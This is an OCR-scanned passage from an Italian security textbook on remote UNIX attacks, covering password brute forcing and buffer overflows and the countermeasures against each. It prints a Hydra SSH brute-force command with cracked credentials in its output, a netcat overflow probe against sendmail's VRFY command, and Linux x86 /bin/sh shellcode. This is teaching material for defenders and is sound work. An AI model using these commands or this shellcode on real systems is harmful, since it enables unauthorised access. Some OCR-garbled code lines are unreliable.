in una delle quattro categorie descritte. Se avete dei dubbi su come sia possibile effettuare
un attacco da remoto, ponetevi quattro domande:

¢ C’¢ un servizio in ascolto?

Il sistema utilizza il routing?

* Un utente o il software di un utente esegue comandi che mettono a rischio la si-
curezza del vostro sistema?

* La vostra scheda di rete € in modalita promiscua e potrebbe catturare traffico ostile?
Probabilmente risponderete affermativamente ad almeno una di queste domande.
N/

"> Attacchi di forza bruta

Popolarita:

8
Semplicita: 7
Impatto: 7

Grado di rischio: 7

Iniziamo la nostra discussione con I'attacco piu semplice, che prevede 'uso della “forza
bruta” per determinare le password. Questi attacchi non saranno eleganti, ma sono tra i
piu efficaci per ottenere I'accesso a un sistema UNIX.

Un attacco di forza bruta consiste semplicemente nell'individuare una combinazione user
ID/password su un servizio che richiede 'autenticazione dell’utente prima di concedergli
l'accesso. I servizi pitt comuni che si possono attaccare in questo modo sono 1 seguenti:

e Telnet;

e FTP (File Transfer Protocol);

e comandi “r” (RLOGIN, RSH e cosi via);

e Secure Shell (SSH);

e nomi di comunita SNMP (Simple Network Management Procotol);

e POP (Post Office Protocol) e IMAP (Internet Message Access Protocol);

o HTTP/HTTPS (Hyperlext Transport Protocol);

e CVS (Concurrent Version System) e SVN (Subversion).

¢ Postgres, MySQL e Oracle.
Ricordiamo, dalla discussione su rilevamento ed enumerazione svolta nei Capitoli da 1 a
3,limportanza di individuare potenziali user ID del sistema. Servizi come finger, rusers e
sendmail possono consentire di identificare degli account utente. Una volta che gli hacker
sono entrati in possesso di un elenco di account utente, possono provare a ottenere un
accesso di shell sul sistema bersaglio indovinando la password associata. Purtroppo, molti
account utente hanno una password debole e alcuni ne sono addirittura privi. Per esempio,
¢ relativamente comune trovare account utente in cui la password ¢ identica al nome.
Nei sistemi con molti utenti, spesso ¢’¢ almeno un account impostato in questo modo.

Perché si scelgono tanto spesso password cosi deboli? Perché le persone non sanno come
scegliere password forti, 0 non sono spinte/costrette a farlo.
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Benché sia possibile indovinare una password procedendo in modo manuale, generalmente
si utilizzano utility apposite per attacchi di forza bruta; due tra le piu diffuse sono:

 THC Hydra freeworld.thc.org/thc-hydra/
* Medusa foofus.net/~jmk/medusa/medusa.html

THC Hydra ¢ una delle piu diffuse e versatili utility per attacchi di forza bruta. Si tratta
di un programma ben gestito e ricco di funzionalita, che tende a essere la prima scelta
per questi tipi di attacchi. THC Hydra supporta numerosi protocolli. Il seguente esempio
illustra come utilizzare THC Hydra per un attacco di forza bruta:

[schism]$ hydra -L users.txt -P passwords.txt 192.168.1.113 ssh
Hydra v7.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2012-02-25 12:47:58
[DATA] 16 tasks, 1 servers, 25 login tries (1:5/p:5), ~1 tries per task
[DATA] attacking service ssh2 on port 22

[22][ssh] host: 192.168.1.113  login: praveen  password: pr4v33n
[22][ssh] host: 192.168.1.113  login: nathan password: texas

[22][ssh] host: 192.168.1.113  login: adam password: 1234
[STATUS] attack finished for 192.168.1.113 (waiting for childs to finish)
Hydra (http://www.thc.org/thc-hydra) finished at 2012-02-25 12:48:02

In questo caso abbiamo creato due file: users. txt contiene un elenco di cinque nomi utente
e passwords. txt contiene un elenco di cinque password. Hydra utilizza queste informazioni
per tentare di autenticarsi in remoto su un servizio specificato, in questo caso SSH. In
base alla lunghezza dei nostri elenchi, sono possibili in totale 25 combinazioni di nome
utente e password. Hydra mostra che tre account su cinque sono stati violati con successo.
Per brevita, ’elenco contiene nomi utente noti e alcune delle password associate; nella
realta sarebbe necessario innanzitutto determinare dei nomi utente validi e fornire un
elenco di password molto piu completo. Questo naturalmente allungherebbe il tempo
necessario per portare a termine l'operazione, senza pero garanzia che la password di
un utente sia inclusa nell’elenco fornito. Hydra automatizza 'attacco di forza bruta, che
tuttavia rimane un processo molto lento.

c Contromisure contro gli attacchi di forza bruta

La migliore difesa contro gli attacchi di forza bruta consiste nell’utilizzare password forti
che non siano facili da indovinare. Un meccanismo di password usa e getta sarebbe I'ideale.
Alcune utility gratuite che si possono utilizzare per contrastare gli attacchi di forza bruta
sono elencate nella Tabella 5.1.

I sistemi UNIX pit recenti includono controlli sulle password integrati con cui si pud
evitare di ricorrere a moduli esterni. Per esempio, Solaris 10 fornisce varie opzioni tramite
/etc/default/passwd per rafforzare la policy relativa alle password nel sistema, tra cui le
seguenti.

* PASSLENGTH. Lunghezza minima della password.

« MINWEEK. Numero minimo di settimane che deve trascorrere prima che si possa
modificare una password.

* MAXWEEK. Numero massimo di settimane che deve trascorrere prima che si
possa modificare una password.
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Tabella 5.1 Strumenti freeware utili per la protezione contro attacchi di forza bruta.

Strumento Descrizione Dove trovarlo

cracklib Composizione di password cracklib.sourceforge.net

Secure Remote Nuovo meccanismo per autenticazione srp.stanford.edu
Password basata su password e scambio di chiavi

su qualsiasi tipo di rete

OpenSSH Sostituto di Telnet/FTP/RSH/login openssh.org

con cifratura e autenticazione RSA

pam_passwdqc Modulo PAM per controllare openwall.com/passwdqc

la sicurezza della password

pam_lockout Modulo PAM per bloccare gli account — spellweaver.org/devel/

WARNWEEKS. Numero di settimane che deve trascorrere prima che dell’invio
di un avviso all’'utente che lo informi del fatto che la sua password ¢ prossima alla
scadenza.

HISTORY. Numero di password memorizzati nella cronologia delle password.
Lutente non puo riutilizzare queste password.

MINALPHA. Numero minimo di caratteri alfabetici.

MINDIGIT. Numero minimo di caratteri numerici.

MINSPECIAL. Numero minimo di caratteri speciali (non alfabetici, non numerici).
MINLOWER. Numero minimo di caratteri minuscoli.

MINUPPER. Numero minimo di caratteri maiuscoli.

Linstallazione di default di Solaris non supporta pam_cracklib o pam_passwdqc. Se le regole
di complessita delle password previste dal sistema operativo sono insufficienti, si puo im-
plementare uno dei moduli PAM. A prescindere dal fatto che ci si affidi al sistema ope-
rativo o a prodotti esterni, comunque, ¢ importante implementare procedure di gestione
della password ben progettate e utilizzare il buon senso. Ecco un elenco di suggerimenti:

assicurarsi che tutti gli utenti dispongano di password conformi alla policy dell’or-
ganizzazione;

imporre la modifica della password ogni 30 giorni per gli account privilegiati e ogni
60 giorni per gli utenti normali.

richiedere 'uso di una password lunga come minimo otto caratteri e costituita da
almeno un carattere alfabetico, uno numerico e uno non alfanumerico:

registrare i casi di piu tentativi di autenticazione falliti;
configurare servizi per disconnettere i client dopo tre tentativi di login falliti;

implementare il blocco degli account ove possibile (occorre tenere presente la possi-
bilita che siano portati attacchi di tipo DoS con account che vengono fatti bloccare
di proposito da un hacker);

disattivare i servizi non utilizzati;

implementare strumenti di composizione della password che impediscano all’utente
di scegliere una password troppo debole;

non utilizzare la stessa password per tutti 1 sistemi a cui si accede;
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* non scrivere la password su foglietti vari;

e non comunicare la propria password ad altri;

o utilizzare password usa e getta quando possibile;

 non utilizzare affatto le password. Ultilizzare I'autenticazione a chiave pubblica;

e assicurarsi che gli account di default come “setup” e “admin” non abbiano password
di default.

Attacchi data-driven

Dopo I'esame degli attacchi che sembrano meno sofisticati, quelli che puntano a “indovi-
nare” la password, possiamo passare a descrivere il metodo considerato standard di fatto per
ottenere I'accesso remoto: gli attacchi data-driven. Questi attacchi si eseguono inviando
dati a un servizio attivo per causare risultati inattesi o sgraditi. Naturalmente “inattesi
o sgraditi” ¢ un concetto soggettivo che dipende dal punto di vista considerato: quello
dell’hacker o quello di chi ha programmato il servizio. Dal punto di vista dell’hacker, i
risultati sono utili perché permettono di accedere al sistema bersaglio. Dal punto di vista
del programmatore del servizio, il programma riceve dati inattesi che causano risultati
indesiderati. Gli attacchi data-driven sono classificati generalmente come attacchi di buffer
overflow e attacchi di convalida dell’input. Descriviamo entrambi in dettaglio nel seguito.

S

"> Attacchi di buffer overflow

Popolarita: 8
Semplicita: 8
Impatto: 10

Grado di rischio: 9

Nel novembre 1996 il panorama della sicurezza informatica cambio per sempre. Il mode-
ratore della mailing list Bugtraq, Aleph One, scrisse un articolo per la rivista sulla sicurezza
Phrack Magazine (N. 49) intitolato: “Smashing the Stack for Fun and Profit”. Questo
articolo ebbe un profondo effetto sullo stato della sicurezza, perché diftuse il concetto che
cattive pratiche di programmazione potessero aprire la possibilita di portare attacchi di buf-
ter overflow. I primi attacchi di questo tipo risalgono almeno al 1988, con il famoso worm
di Robert Morris, ma le informazioni su questo attacco erano molto scarse, fino al 1996.
Una condizione di bufter overflow si verifica quando un utente o un processo tenta di
inserire in un buffer (o un array di dimensione fissata) una quantita di dati superiore a
quella precedentemente allocata. Questo tipo di comportamento ¢ associato a specifiche
funzioni del linguaggio C come strcpy(), strcat() e sprintf(), tra le altre. Un bufter
overflow causerebbe normalmente un errore di segmentazione, ma gli hacker possono
sfruttare questa condizione per ottenere 'accesso a un sistema. Ora stiamo discutendo
di attacchi remoti, ma le condizioni di bufter overflow si verificano anche in programmi
locali, come vedremo piu avanti. Per capire come si verifica un buffer overflow, esaminiamo
un esempio molto semplificato.

Abbiamo un bufter di lunghezza fissa pari a 128 byte. Supponiamo che tale bufter de-
finisca la quantita di dati che possono essere memorizzati come input per il comando
VRFY di sendmail. Ricordiamo dal Capitolo 3 che abbiamo utilizzato VRFY per individuare
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potenziali utenti sul sistema bersaglio cercando di verificare 1 loro indirizzi e-mail. Sup-
poniamo anche che sendmail sia stato avviato con set user ID (SUID) root e che sia in
esecuzione con privilegi di root, cosa che pud avvenire o meno a seconda del sistema.
Che cosa accade se un hacker si collega al daemon sendmail e invia al comando VRFY un
blocco di dati costituito da 1.000 “a”, invece di un semplice nome utente?

echo "vrfy 'perl -e 'print "a" x 1000''" |nc www.example.com 25

11 bufter di VRFY trabocca, perché ¢ stato progettato per contenere soltanto 128 byte. In-
serendo 1.000 byte in tale bufter si potrebbe causare un blocco del servizio e il crash del
daemon sendmail. Tuttavia, sarebbe ancora pit pericolosa una situazione in cui il sistema
bersaglio eseguisse del codice indicato dall’hacker, e in effetti ¢ esattamente cosi che
funziona un attacco di buffer overflow.

Anziché inviare 1.000 lettere ““a” al comando VRFY, ’hacker invia un codice specifico che
causa l'overflow del buffer ed esegue il comando /bin/sh. Ricordiamo che sendmail ¢ in
esecuzione come root, percio quando viene eseguito /bin/sh, I’hacker ottiene I'accesso
di root. Vi chiederete come sendmail possa sapere che '’hacker vuole eseguire /bin/sh.
E semplice: quando viene eseguito I'attacco, uno speciale codice assembly noto in ger-
go come “uovo” (egg in inglese) viene inviato al comando VRFY all’interno della stringa
effettivamente utilizzata per causare 'overflow del buffer. Quando il buffer di VRFY tra-
bocca, 'hacker pud impostare I'indirizzo di ritorno della funzione, il che gli consente di
alterare il flusso di esecuzione del programma. In questo modo la funzione non ritorna
alla locazione di memoria corretta, perché ’hacker fa eseguire il codice assembly inviato
nella stringa del bufter overflow, che eseguira /bin/sh con privilegi di root. Partita chiusa.
E fondamentale ricordare che il codice assembly dipende dall’architettura e dal sistema
operativo. Un exploit di un buffer overflow su un sistema Solaris X86 eseguito su CPU
Intel ¢ completamente diverso da uno utilizzabile su Solaris eseguito su un sistema
SPARC. I listato che segue illustra il contenuto di un uovo, il codice assembly specifico
per Linux X86:

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc \xff\xff\xff/bin/sh";

Dovrebbe risultare evidente che gli attacchi di buffer overflow sono estremamente
pericolosi e hanno causato molti problemi di sicurezza. L'esempio precedente ¢ molto
semplice, mentre in realta ¢ assai difficile creare un uovo che funzioni. Tuttavia, molte
uova adatte a sistemi specifici sono gia state create e sono disponibili su Internet. Se non
avete familiarita con il buffer overflow, potete cominciare a consultare I'articolo di Aleph
One pubblicato su Phrack Magazine, volume 49 (phrack.org).

o Contromisure contro I'attacco di buffer overflow

Ora che conoscete bene la minaccia del bufter overflow, esaminiamo le possibili contro-
misure; ognuna di esse ha vantaggi e svantaggi, ed ¢ importante comprendere le differenze
in termini di costi ed efficacia.
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Pratiche di programmazione sicure

La migliore contromisura per la vulnerabilita di bufter overflow ¢ rappresentata da pratiche
di programmazione sicure. Benché sia impossibile progettare e codificare un programma
complesso che sia del tutto privo di bug, si possono adottare degli accorgimenti che ri-
ducano al minimo le condizioni di bufter overtlow. D1 seguito ne elenchiamo alcuni che
ci sentiamo di consigliare.

* Progettare il programma fin dall'inizio tenendo in considerazione la sicurezza. Troppo
spesso 1 programmi sono scritti in fretta e furia per rispettare una scadenza fissata
da qualche manager. La sicurezza considerata come 1'ultimo aspetto da curare ¢ alla
fine si perde per strada. I produttori sfiorano i confini della negligenza, nel codice di
molti programmi rilasciati di recente. Molti sono ben consapevoli della scarsa atten-
zione rivolta alla sicurezza durante il lavoro di codifica, ma non vogliono aspettare
il tempo necessario per affrontare le varie problematiche. Consultate la guida alla
programmazione sicura per Linux e UNIX, presso dwheeler.com/secure-programs/
Secure-Programs-HOWTO, per ulteriori informazioni.

o Attivare la funzionalitd SSP (Stack Smashing Protector) fornita dal compilatore gce. SSP
¢ una versione migliorata di Stackguard di Immunix, utilizza un codice sentinella
per individuare gli overflow dello stack nel tentativo di ridurre al minimo I'impat-
to del bufter overflow. Le ricerche di Immunix hanno catturato I'attenzione della
community e nel 2005 la societa ¢ stata acquisita da Novell. Purtroppo Novell ha
licenziato il team di Immunix nel 2007, ma il loro lavoro rimane in vita ed & stato
formalmente incluso nel compilatore gce. In OpenBSD la funzionalita ¢ abilitata per
default e la protezione dello stack pud essere abilitata sulla maggior parte dei sistemi
operativi UNIX con le opzioni di gcc -fstack-protect e -fstack-protect-all.

 Validare tutto 'input modificabile dall’utente, il che comprende la verifica dei limiti
per ogni variabile, soprattutto per le variabili d’ambiente.

 Ultilizzare routine piu sicure, come fgets(), strncpy() e strncat(), e verificare i codici
di ritorno delle chiamate di sistema.

* Quando possibile, implementare la Better String Library. Bstrings ¢ una libreria
portabile, autonoma e stabile che ¢ utile per attenuare i rischi di buffer overflow;
potete trovare ulteriori informazioni presso bstring.sourceforge.net.

* Ridurre il codice eseguito con privilegi di root. Questo significa anche ridurre al
minimo il tempo per cui il programma richiede privilegi elevati e ridurre anche
l'uso di programmi eseguiti con SUID root, ove possibile. Anche effettuando un
attacco di buffer overflow, I'hacker dovra sempre accedere ai privilegi di root.

» Applicare tutte le patch di sicurezza fornite dal produttore.

Test e auditing di ogni programma

E importante eseguire test e auditing di ogni programma. In molti casi 1 programmatori
non si rendono conto che esiste una potenziale condizione di bufter overflow, mentre
una persona esterna ¢ in grado di rilevare facilmente tali difetti. Uno dei migliori esempi
per quanto riguarda test e auditing di codice UNIX ¢ offerto dal progetto OpenBSD
(openbsd.org), gestito da Theo de Raadt, che controlla continuamente il codice sorgente
e ha risolto centinaia di condizioni di bufter overflow, per non parlare degli altri tipi
di problemi legati alla sicurezza. E proprio questo auditing esteso che ha consentito a
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OpenBSD di guadagnarsi la reputazione di una delle versioni gratuite di UNIX piu sicure
(anche se non ¢ impenetrabile).

Disattivare servizi inutilizzati o pericolosi

Continueremo a sottolineare questo punto in tutto il capitolo. Disattivate 1 servizi inu-
tilizzati o pericolosi, se non sono essenziali per Uoperativita del sistema. Gli intrusi non
possono violare un servizio che non ¢ in esecuzione. Inoltre, consigliamo caldamente di
utilizzare TCP Wrapper (tcpd) e xinetd (xinetd.org) per applicare selettivamente un elenco
di controllo di accesso calibrato per 1 singoli servizi e con funzionalita di log avanzate.
Non tutti 1 servizi possono essere inseriti in un wrapper, ma quando ¢ possibile farlo, la
sicurezza del sistema aumenta notevolmente. Oltre al wrapping di ciascun servizio, con-
siderate 'uso del filtro di pacchetti a livello del kernel incluso nella maggior parte delle
versioni gratuite di UNIX/Linux. Iptables ¢ disponibile per Linux 2.4.x e 2.6.x. Una buona
guida all’'uso di iptables per proteggere il sistema ¢ disponibile presso help.ubuntu.com/
community/IptablesHowTo. Ipfilter Firewall (ipf) ¢ un’alstra soluzione disponibile per BSD e
Solaris. Cfr. freebsd. org/doc/handbook/firewalls-ipf.html per ulteriori informazioni su ipf.

Protezione dell'esecuzione nello stack

I puristi potrebbero sconsigliare di disabilitare I’esecuzione nello stack e suggerire invece
di fare in modo che ciascun programma sia privo di falle che possano causare buffer
overflow. Tuttavia, questa strategia consente di proteggere molti sistemi da alcuni exploit.
Le implementazioni della funzionalita di sicurezza variano in base al sistema operativo e
alla piattaforma. I processori piu recenti offrono spesso un supporto hardware diretto per
la protezione dello stack, e per 1 sistemi piu vecchi ¢ disponibile software di emulazione.
Solaris ha supportato la funzione di disabilitazione dell’esecuzione nello stack su SPARC
fin dalla versione 2.6. La funzione ¢ disponibile anche per Solaris su architetture x86
che supportano la funzionalita NX-bit. Utilizzando questa funzione si impedisce il
funzionamento di molti exploit di bufter overflow su Solaris. Benché SPARC e le API
Intel forniscano permessi di esecuzione sullo stack, la maggior parte dei programmi puo
funzionare correttamente con questa caratteristica disabilitata. La protezione dello stack
¢ attivata per default su Solaris 10 e 11, disattivata per default in Solaris 8 e 9. Per attivare
la protezione dell’esecuzione nello stack, aggiungete la voce seguente al file /etc/system:

set noexec_user stack=1
set noexec_user_stack_log =1

Per sistemi Linux, Exec shield e PaX sono due patch del kernel che forniscono funzioni
per impedire I’esecuzione nello stack. Exec shield ¢ stato sviluppato da Red Hat, che ha
incluso la funzione a partire da Red Hat Enterprise Linux versione 3 update 3 e Fedora
Core 1. Per verificare se la funzionalita ¢ abilitata basta utilizzare il comando seguente:

sysctl kernel.exec-shield

GRSecurity ¢ nato come porting di OpenWall ed ¢ sviluppato da una comunita di pro-
fessionisti della sicurezza. I pacchetto si trova presso 